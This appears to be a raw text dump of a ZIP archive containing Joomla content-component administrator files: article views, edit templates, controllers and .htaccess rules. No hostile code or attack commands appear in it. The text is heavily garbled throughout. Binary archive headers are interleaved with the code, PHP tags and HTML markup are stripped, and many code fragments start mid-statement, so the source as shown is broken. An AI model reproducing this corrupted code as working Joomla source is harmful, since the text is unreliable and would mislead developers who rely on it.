    '; // $html .= "\n   "; $html .= ''."\n"; $html .= "\n".''; return $html; } } PKs>\ƣ!CCcom_content/elements/author.phpnuW+AgetAuthorisedUsergroups($action, true); // Check the results of the access check. if (!$groups) { return false; } // Clean up and serialize. JArrayHelper::toInteger($groups); $groups = implode(',', $groups); // Build the query to get the users. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('u.id AS value'); $query->select('u.name AS text'); $query->from('#__users AS u'); $query->join('INNER', '#__user_usergroup_map AS m ON m.user_id = u.id'); $query->where('u.block = 0'); $query->where('m.group_id IN ('.$groups.')'); // Get the users. $db->setQuery((string) $query); $users = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseNotice(500, $db->getErrorMsg()); return false; } return JHtml::_('select.genericlist', $users, $name, 'class="inputbox" size="1"', 'value', 'text', $value); } } PKs>\f)PPcom_content/config.xmlnuW+A
    PKs>\p (com_content/views/articles/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->authors = $this->get('Authors'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Levels filter. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('J1')); $options[] = JHtml::_('select.option', '2', JText::_('J2')); $options[] = JHtml::_('select.option', '3', JText::_('J3')); $options[] = JHtml::_('select.option', '4', JText::_('J4')); $options[] = JHtml::_('select.option', '5', JText::_('J5')); $options[] = JHtml::_('select.option', '6', JText::_('J6')); $options[] = JHtml::_('select.option', '7', JText::_('J7')); $options[] = JHtml::_('select.option', '8', JText::_('J8')); $options[] = JHtml::_('select.option', '9', JText::_('J9')); $options[] = JHtml::_('select.option', '10', JText::_('J10')); $this->f_levels = $options; // We don't need toolbar in the modal window. if ($this->getLayout() !== 'modal') { $this->addToolbar(); } parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = ContentHelper::getActions($this->state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_CONTENT_ARTICLES_TITLE'), 'article.png'); if ($canDo->get('core.create') || (count($user->getAuthorisedCategories('com_content', 'core.create'))) > 0 ) { JToolBarHelper::addNew('article.add'); } if (($canDo->get('core.edit')) || ($canDo->get('core.edit.own'))) { JToolBarHelper::editList('article.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('articles.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('articles.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::custom('articles.featured', 'featured.png', 'featured_f2.png', 'JFEATURED', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('articles.archive'); JToolBarHelper::checkin('articles.checkin'); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'articles.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('articles.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_content'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_CONTENT_ARTICLE_MANAGER'); } } PKs>\)$com_content/views/articles/.htaccessnuW+A Order allow,deny Deny from all PKs>\2)com_content/views/articles/tmpl/modal.phpnuW+AisSite()) { JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN')); } require_once JPATH_ROOT . '/components/com_content/helpers/route.php'; JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html'); JHtml::_('behavior.tooltip'); $function = JRequest::getCmd('function', 'jSelectArticle'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    items as $i => $item) : ?> language && JLanguageMultilang::isEnabled()) { $tag = strlen($item->language); if ($tag == 5) { $lang = substr($item->language, 0, 2); } elseif ($tag == 6) { $lang = substr($item->language, 0, 3); } else { $lang = ""; } } elseif (!JLanguageMultilang::isEnabled()) { $lang = ""; } ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> escape($item->access_level); ?> escape($item->category_title); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> created, JText::_('DATE_FORMAT_LC4')); ?> id; ?>
    PKs>\ܫ.&&+com_content/views/articles/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $saveOrder = $listOrder == 'a.ordering'; ?>
    items as $i => $item) : $item->max_ordering = 0; //?? $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_content.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_content.article.'.$item->id); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', 'com_content.article.'.$item->id) && $item->created_by == $userId; $canChange = $user->authorise('core.edit.state', 'com_content.article.'.$item->id) && $canCheckin; ?>
    items, 'filesave.png', 'articles.saveorder'); ?>
    pagination->getListFooter(); ?>
    id); ?> checked_out) : ?> editor, $item->checked_out_time, 'articles.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

    escape($item->alias));?>

    state, $i, 'articles.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> featured, $i, $canChange); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'articles.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'articles.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'articles.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'articles.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> created_by_alias) : ?> escape($item->author_name); ?>

    escape($item->created_by_alias)); ?>

    escape($item->author_name); ?>
    created, JText::_('DATE_FORMAT_LC4')); ?> hits; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
    authorize('core.create', 'com_content') && $user->authorize('core.edit', 'com_content') && $user->authorize('core.edit.state', 'com_content')) : ?> loadTemplate('batch'); ?>
    PKs>\))com_content/views/articles/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V*com_content/views/articles/tmpl/index.htmlnuW+A PKs>\   1com_content/views/articles/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

    = 0) : ?>
    PKs>\V%com_content/views/articles/index.htmlnuW+A PKs>\V$com_content/views/article/index.htmlnuW+A PKs>\{0com_content/views/article/tmpl/edit_metadata.phpnuW+A
    • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
    • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
    • form->getGroup('metadata') as $field): ?>
    • hidden): ?> label; ?> input; ?>
    PKs>\V)com_content/views/article/tmpl/index.htmlnuW+A PKs>\j<$'''com_content/views/article/tmpl/edit.phpnuW+Astate->get('params'); $params = $params->toArray(); // This checks if the config options have ever been saved. If they haven't they will fall back to the original settings. $editoroptions = isset($params['show_publishing_options']); if (!$editoroptions): $params['show_publishing_options'] = '1'; $params['show_article_options'] = '1'; $params['show_urls_images_backend'] = '0'; $params['show_urls_images_frontend'] = '0'; endif; // Check if the article uses configuration settings besides global. If so, use them. if (!empty($this->item->attribs['show_publishing_options'])): $params['show_publishing_options'] = $this->item->attribs['show_publishing_options']; endif; if (!empty($this->item->attribs['show_article_options'])): $params['show_article_options'] = $this->item->attribs['show_article_options']; endif; if (!empty($this->item->attribs['show_urls_images_backend'])): $params['show_urls_images_backend'] = $this->item->attribs['show_urls_images_backend']; endif; ?>
    item->id) ? JText::_('COM_CONTENT_NEW_ARTICLE') : JText::sprintf('COM_CONTENT_EDIT_ARTICLE', $this->item->id); ?>
    • form->getLabel('title'); ?> form->getInput('title'); ?>
    • form->getLabel('alias'); ?> form->getInput('alias'); ?>
    • form->getLabel('catid'); ?> form->getInput('catid'); ?>
    • form->getLabel('state'); ?> form->getInput('state'); ?>
    • form->getLabel('access'); ?> form->getInput('access'); ?>
    • canDo->get('core.admin')): ?>
    • form->getLabel('featured'); ?> form->getInput('featured'); ?>
    • form->getLabel('language'); ?> form->getInput('language'); ?>
    • form->getLabel('id'); ?> form->getInput('id'); ?>
    form->getLabel('articletext'); ?>
    form->getInput('articletext'); ?>
    item->id, array('useCookie'=>1)); ?>
    • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
    • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
    • form->getLabel('created'); ?> form->getInput('created'); ?>
    • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
    • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
    • item->modified_by) : ?>
    • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
    • form->getLabel('modified'); ?> form->getInput('modified'); ?>
    • item->version) : ?>
    • form->getLabel('version'); ?> form->getInput('version'); ?>
    • item->hits) : ?>
    • form->getLabel('hits'); ?> form->getInput('hits'); ?>
    form->getFieldsets('attribs'); ?> $fieldSet) : ?> label), $name.'-options'); ?> description) && trim($fieldSet->description)) : ?>

    escape(JText::_($fieldSet->description));?>

      form->getFieldset($name) as $field) : ?>
    • label; ?> input; ?>
    form->getFieldset('basic-limited') as $field) : ?> input; ?>
    • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
    canDo->get('core.admin') ): ?>
      form->getFieldset('editorConfig') as $field) : ?>
    • label; ?> input; ?>
    • form->getLabel('images'); ?> form->getInput('images'); ?>
    • form->getGroup('images') as $field): ?>
    • hidden): ?> label; ?> input; ?>
    • form->getGroup('urls') as $field): ?>
    • hidden): ?> label; ?> input; ?>
    loadTemplate('metadata'); ?>
    canDo->get('core.admin')): ?>
    item->id, array('useCookie'=>1)); ?>
    form->getLabel('rules'); ?> form->getInput('rules'); ?>
    PKs>\ K,com_content/views/article/tmpl/pagebreak.phpnuW+A";'."\n\t"; $script .= 'window.parent.jInsertEditorText(tag, \''.$this->eName.'\');'."\n\t"; $script .= 'window.parent.SqueezeBox.close();'."\n\t"; $script .= 'return false;'."\n"; $script .= '}'."\n"; JFactory::getDocument()->addScriptDeclaration($script); ?>
    PKs>\)(com_content/views/article/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\w!!'com_content/views/article/view.html.phpnuW+Aget('id'); $dispatcher = JDispatcher::getInstance(); $this->item = $this->get('Item'); $this->print = JRequest::getBool('print'); $this->state = $this->get('State'); $this->user = $user; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // Create a shortcut for $item. $item = &$this->item; // Add router helpers. $item->slug = $item->alias ? ($item->id.':'.$item->alias) : $item->id; $item->catslug = $item->category_alias ? ($item->catid.':'.$item->category_alias) : $item->catid; $item->parent_slug = $item->category_alias ? ($item->parent_id.':'.$item->parent_alias) : $item->parent_id; // TODO: Change based on shownoauth $item->readmore_link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catslug, $item->language)); // Merge article params. If this is single-article view, menu params override article params // Otherwise, article params override menu item params $this->params = $this->state->get('params'); $active = $app->getMenu()->getActive(); $temp = clone ($this->params); // Check to see which parameters should take priority if ($active) { $currentLink = $active->link; // If the current view is the active item and an article view for this article, then the menu item params take priority if (strpos($currentLink, 'view=article') && (strpos($currentLink, '&id='.(string) $item->id))) { // $item->params are the article params, $temp are the menu item params // Merge so that the menu item params take priority $item->params->merge($temp); // Load layout from active query (in case it is an alternative menu item) if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } } else { // Current view is not a single article, so the article params take priority here // Merge the menu item params with the article params so that the article params take priority $temp->merge($item->params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-article menu item) // Single-article menu item layout takes priority over alt layout for an article if ($layout = $item->params->get('article_layout')) { $this->setLayout($layout); } } } else { // Merge so that article params take priority $temp->merge($item->params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-article menu item) // Single-article menu item layout takes priority over alt layout for an article if ($layout = $item->params->get('article_layout')) { $this->setLayout($layout); } } $offset = $this->state->get('list.offset'); // Check the view access to the article (the model has already computed the values). if ($item->params->get('access-view') == false && ($item->params->get('show_noauth', '0') == '0')) { JError::raiseWarning(403, JText::_('JERROR_ALERTNOAUTHOR')); return; } if ($item->params->get('show_intro', '1') == '1') { $item->text = $item->introtext . ' ' . $item->fulltext; } elseif ($item->fulltext) { $item->text = $item->fulltext; } else { $item->text = $item->introtext; } // // Process the content plugins. // JPluginHelper::importPlugin('content'); $results = $dispatcher->trigger('onContentPrepare', array ('com_content.article', &$item, &$this->params, $offset)); $item->event = new stdClass(); $results = $dispatcher->trigger('onContentAfterTitle', array('com_content.article', &$item, &$this->params, $offset)); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentBeforeDisplay', array('com_content.article', &$item, &$this->params, $offset)); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentAfterDisplay', array('com_content.article', &$item, &$this->params, $offset)); $item->event->afterDisplayContent = trim(implode("\n", $results)); // Increment the hit counter of the article. if (!$this->params->get('intro_only') && $offset == 0) { $model = $this->getModel(); $model->hit(); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->item->params->get('pageclass_sfx')); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES')); } $title = $this->params->get('page_title', ''); $id = (int) @$menu->query['id']; // if the menu item does not concern this article if ($menu && ($menu->query['option'] != 'com_content' || $menu->query['view'] != 'article' || $id != $this->item->id)) { // If this is not a single article menu item, set the page title to the article title if ($this->item->title) { $title = $this->item->title; } $path = array(array('title' => $this->item->title, 'link' => '')); $category = JCategories::getInstance('Content')->get($this->item->catid); while ($category && ($menu->query['option'] != 'com_content' || $menu->query['view'] == 'article' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => ContentHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach($path as $item) { $pathway->addItem($item['title'], $item['link']); } } // Check for empty title and add site name if param is set if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } if (empty($title)) { $title = $this->item->title; } $this->document->setTitle($title); if ($this->item->metadesc) { $this->document->setDescription($this->item->metadesc); } elseif (!$this->item->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->item->metakey) { $this->document->setMetadata('keywords', $this->item->metakey); } elseif (!$this->item->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $this->item->author); } $mdata = $this->item->metadata->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } // If there is a pagebreak heading or title, add it to the page title if (!empty($this->item->page_title)) { $this->item->title = $this->item->title . ' - ' . $this->item->page_title; $this->document->setTitle($this->item->page_title . ' - ' . JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $this->state->get('list.offset') + 1)); } if ($this->print) { $this->document->setMetaData('robots', 'noindex, nofollow'); } } } PKs>\)#com_content/views/article/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_content/views/index.htmlnuW+A PKs>\)com_content/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_content/views/featured/index.htmlnuW+A PKs>\)$com_content/views/featured/.htaccessnuW+A Order allow,deny Deny from all PKs>\^0ww(com_content/views/featured/view.html.phpnuW+Aget('State'); $items = $this->get('Items'); $pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } $params = &$state->params; // PREPARE THE DATA // Get the metrics for the structural page layout. $numLeading = $params->def('num_leading_articles', 1); $numIntro = $params->def('num_intro_articles', 4); $numLinks = $params->def('num_links', 4); // Compute the article slugs and prepare introtext (runs content plugins). foreach ($items as $i => & $item) { $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; $item->catslug = ($item->category_alias) ? ($item->catid . ':' . $item->category_alias) : $item->catid; $item->parent_slug = ($item->parent_alias) ? ($item->parent_id . ':' . $item->parent_alias) : $item->parent_id; // No link for ROOT category if ($item->parent_alias == 'root') { $item->parent_slug = null; } $item->event = new stdClass(); $dispatcher = JDispatcher::getInstance(); // Old plugins: Ensure that text property is available if (!isset($item->text)) { $item->text = $item->introtext; } JPluginHelper::importPlugin('content'); $results = $dispatcher->trigger('onContentPrepare', array ('com_content.featured', &$item, &$this->params, 0)); // Old plugins: Use processed text as introtext $item->introtext = $item->text; $results = $dispatcher->trigger('onContentAfterTitle', array('com_content.featured', &$item, &$item->params, 0)); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentBeforeDisplay', array('com_content.featured', &$item, &$item->params, 0)); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentAfterDisplay', array('com_content.featured', &$item, &$item->params, 0)); $item->event->afterDisplayContent = trim(implode("\n", $results)); } // Preprocess the breakdown of leading, intro and linked articles. // This makes it much easier for the designer to just interogate the arrays. $max = count($items); // The first group is the leading articles. $limit = $numLeading; for ($i = 0; $i < $limit && $i < $max; $i++) { $this->lead_items[$i] = &$items[$i]; } // The second group is the intro articles. $limit = $numLeading + $numIntro; // Order articles across, then down (or single column mode) for ($i = $numLeading; $i < $limit && $i < $max; $i++) { $this->intro_items[$i] = &$items[$i]; } $this->columns = max(1, $params->def('num_columns', 1)); $order = $params->def('multi_column_order', 1); if ($order == 0 && $this->columns > 1) { // call order down helper $this->intro_items = ContentHelperQuery::orderDownColumns($this->intro_items, $this->columns); } // The remainder are the links. for ($i = $numLeading + $numIntro; $i < $max; $i++) { $this->link_items[$i] = &$items[$i]; } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->assignRef('params', $params); $this->assignRef('items', $items); $this->assignRef('pagination', $pagination); $this->assignRef('user', $user); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } // Add feed links if ($this->params->get('show_feed_link', 1)) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $this->document->addHeadLink(JRoute::_($link . '&type=rss'), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $this->document->addHeadLink(JRoute::_($link . '&type=atom'), 'alternate', 'rel', $attribs); } } } PKs>\))com_content/views/featured/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\q# +com_content/views/featured/tmpl/default.phpnuW+A
    params->get('show_page_heading')!=0) : ?>

    escape($this->params->get('page_heading')); ?>

    lead_items)) : ?>
    lead_items as &$item) : ?>
    item = &$item; echo $this->loadTemplate('item'); ?>
    intro_items)); $counter=0; ?> intro_items)) : ?> intro_items as $key => &$item) : ?> columns) +1; $row = $counter / $this->columns ; if ($rowcount==1) : ?>
    "> item = &$item; echo $this->loadTemplate('item'); ?>
    columns) or ($counter ==$introcount)): ?>
    link_items)) : ?>
    loadTemplate('links'); ?>
    params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2 && $this->pagination->get('pages.total') > 1)) : ?>
    PKs>\V*com_content/views/featured/tmpl/index.htmlnuW+A PKs>\~#$com_content/controllers/featured.phpnuW+A $id) { if (!$user->authorise('core.delete', 'com_content.article.'.(int) $id)) { // Prune items that you can't delete. unset($ids[$i]); JError::raiseNotice(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); } } if (empty($ids)) { JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Remove the items. if (!$model->featured($ids, 0)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_content&view=featured'); } /** * Method to publish a list of articles. * * @return void * @since 1.0 */ function publish() { parent::publish(); $this->setRedirect('index.php?option=com_content&view=featured'); } /** * Method to get a model object, loading it if required. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * * @since 1.6 */ public function getModel($name = 'Feature', $prefix = 'ContentModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\)!com_content/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\'( ( $com_content/controllers/articles.phpnuW+Aview_list = 'featured'; } parent::__construct($config); $this->registerTask('unfeatured', 'featured'); } /** * Method to toggle the featured setting of a list of articles. * * @return void * @since 1.6 */ function featured() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('featured' => 1, 'unfeatured' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); // Access checks. foreach ($ids as $i => $id) { if (!$user->authorise('core.edit.state', 'com_content.article.'.(int) $id)) { // Prune items that you can't change. unset($ids[$i]); JError::raiseNotice(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } } if (empty($ids)) { JError::raiseWarning(500, JText::_('JERROR_NO_ITEMS_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Publish the items. if (!$model->featured($ids, $value)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_content&view=articles'); } /** * Proxy for getModel. * * @param string $name The name of the model. * @param string $prefix The prefix for the PHP class name. * * @return JModel * @since 1.6 */ public function getModel($name = 'Article', $prefix = 'ContentModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\V"com_content/controllers/index.htmlnuW+A PKs>\ϖxyy#com_content/controllers/article.phpnuW+AsetRedirect($this->getReturnPage()); } } /** * Method override to check if you can add a new record. * * @param array An array of input data. * * @return boolean * @since 1.6 */ protected function allowAdd($data = array()) { // Initialise variables. $user = JFactory::getUser(); $categoryId = JArrayHelper::getValue($data, 'catid', JRequest::getInt('catid'), 'int'); $allow = null; if ($categoryId) { // If the category has been passed in the data or URL check it. $allow = $user->authorise('core.create', 'com_content.category.'.$categoryId); } if ($allow === null) { // In the absense of better information, revert to the component permissions. return parent::allowAdd(); } else { return $allow; } } /** * Method override to check if you can edit an existing record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $user = JFactory::getUser(); $userId = $user->get('id'); $asset = 'com_content.article.'.$recordId; // Check general edit permission first. if ($user->authorise('core.edit', $asset)) { return true; } // Fallback on edit.own. // First test if the permission is available. if ($user->authorise('core.edit.own', $asset)) { // Now test the owner is the user. $ownerId = (int) isset($data['created_by']) ? $data['created_by'] : 0; if (empty($ownerId) && $recordId) { // Need to do a lookup from the model. $record = $this->getModel()->getItem($recordId); if (empty($record)) { return false; } $ownerId = $record->created_by; } // If the owner matches 'me' then do the test. if ($ownerId == $userId) { return true; } } // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } /** * Method to cancel an edit. * * @param string $key The name of the primary key of the URL variable. * * @return Boolean True if access level checks pass, false otherwise. * @since 1.6 */ public function cancel($key = 'a_id') { parent::cancel($key); // Redirect to the return page. $this->setRedirect($this->getReturnPage()); } /** * Method to edit an existing record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return Boolean True if access level check and checkout passes, false otherwise. * @since 1.6 */ public function edit($key = null, $urlVar = 'a_id') { $result = parent::edit($key, $urlVar); return $result; } /** * Method to get a model object, loading it if required. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * * @since 1.5 */ public function getModel($name = 'form', $prefix = '', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } /** * Gets the URL arguments to append to an item redirect. * * @param int $recordId The primary key id for the item. * @param string $urlVar The name of the URL variable for the id. * * @return string The arguments to append to the redirect URL. * @since 1.6 */ protected function getRedirectToItemAppend($recordId = null, $urlVar = 'a_id') { // Need to override the parent method completely. $tmpl = JRequest::getCmd('tmpl'); $layout = JRequest::getCmd('layout', 'edit'); $append = ''; // Setup redirect info. if ($tmpl) { $append .= '&tmpl='.$tmpl; } // TODO This is a bandaid, not a long term solution. // if ($layout) { // $append .= '&layout='.$layout; // } $append .= '&layout=edit'; if ($recordId) { $append .= '&'.$urlVar.'='.$recordId; } $itemId = JRequest::getInt('Itemid'); $return = $this->getReturnPage(); $catId = JRequest::getInt('catid', null, 'get'); if ($itemId) { $append .= '&Itemid='.$itemId; } if($catId) { $append .= '&catid='.$catId; } if ($return) { $append .= '&return='.base64_encode(urlencode($return)); } return $append; } /** * Get the return URL. * * If a "return" variable has been passed in the request * * @return string The return URL. * @since 1.6 */ protected function getReturnPage() { $return = JRequest::getVar('return', null, 'default', 'base64'); if (empty($return) || !JUri::isInternal(urldecode(base64_decode($return)))) { return JURI::base(); } else { return urldecode(base64_decode($return)); } } /** * Function that allows child controller access to model data after the data has been saved. * * @param JModel $model The data model object. * @param array $validData The validated data. * * @return void * @since 1.6 */ protected function postSaveHook(JModel &$model, $validData) { $task = $this->getTask(); if ($task == 'save') { $this->setRedirect(JRoute::_('index.php?option=com_content&view=category&id='.$validData['catid'], false)); } } /** * Method to save a record. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return Boolean True if successful, false otherwise. * @since 1.6 */ public function save($key = null, $urlVar = 'a_id') { // Load the backend helper for filtering. require_once JPATH_ADMINISTRATOR.'/components/com_content/helpers/content.php'; $result = parent::save($key, $urlVar); // If ok, redirect to the return page. if ($result) { $this->setRedirect($this->getReturnPage()); } return $result; } /** * Method to save a vote. * * @return void * @since 1.6.1 */ function vote() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $user_rating = JRequest::getInt('user_rating', -1); if ( $user_rating > -1 ) { $url = JRequest::getString('url', ''); $id = JRequest::getInt('id', 0); $viewName = JRequest::getString('view', $this->default_view); $model = $this->getModel($viewName); if ($model->storeVote($id, $user_rating)) { $this->setRedirect($url, JText::_('COM_CONTENT_ARTICLE_VOTE_SUCCESS')); } else { $this->setRedirect($url, JText::_('COM_CONTENT_ARTICLE_VOTE_FAILURE')); } } } } PKs>\V,#com_content/access.xmlnuW+A
